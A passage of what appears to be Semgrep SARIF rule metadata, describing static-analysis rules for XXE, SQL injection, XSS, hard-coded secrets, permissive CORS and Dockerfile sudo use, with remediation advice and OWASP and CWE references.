prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","id":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","name":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","id":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","name":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","properties":{"precision":"very-high","tags":["CWE-79:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-loadhtmlstring-xss.swift-webview-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","id":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","name":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Telegram Bot API Key detected"},"help":{"markdown":"Telegram Bot API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Telegram Bot API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","id":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","name":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"help":{"markdown":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent","id":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","name":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-noent.express-libxml-noent"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"help":{"markdown":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli)\n - [https://github.com/aio-libs/aiopg](https://github.com/aio-libs/aiopg)\n","text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","id":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","name":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","id":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","name":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/cursor.html#cursor.execute](https://www.psycopg.org/docs/cursor.html#cursor.execute)\n - [https://www.psycopg.org/docs/cursor.html#cursor.executemany](https://www.psycopg.org/docs/cursor.html#cursor.executemany)\n - [https://www.psycopg.org/docs/cursor.html#cursor.mogrify](https://www.psycopg.org/docs/cursor.html#cursor.mogrify)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli","id":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","name":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"help":{"markdown":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://cwe.mitre.org/data/definitions/942.html](https://cwe.mitre.org/data/definitions/942.html)\n","text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"helpUri":"https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors","id":"python.fastapi.security.wildcard-cors.wildcard-cors","name":"python.fastapi.security.wildcard-cors.wildcard-cors","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.security.wildcard-cors.wildcard-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes)\n - [https://pugjs.org/language/attributes.html#attributes](https://pugjs.org/language/attributes.html#attributes)\n","text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","id":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","name":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"help":{"markdown":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url","id":"swift.webview.webview-baseurl.swift-webview-config-base-url","name":"swift.webview.webview-baseurl.swift-webview-config-base-url","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-baseurl.swift-webview-config-base-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","id":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","name":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"help":{"markdown":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n - [https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)\n","text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"helpUri":"https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","id":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","name":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"help":{"markdown":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0)\n","text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of 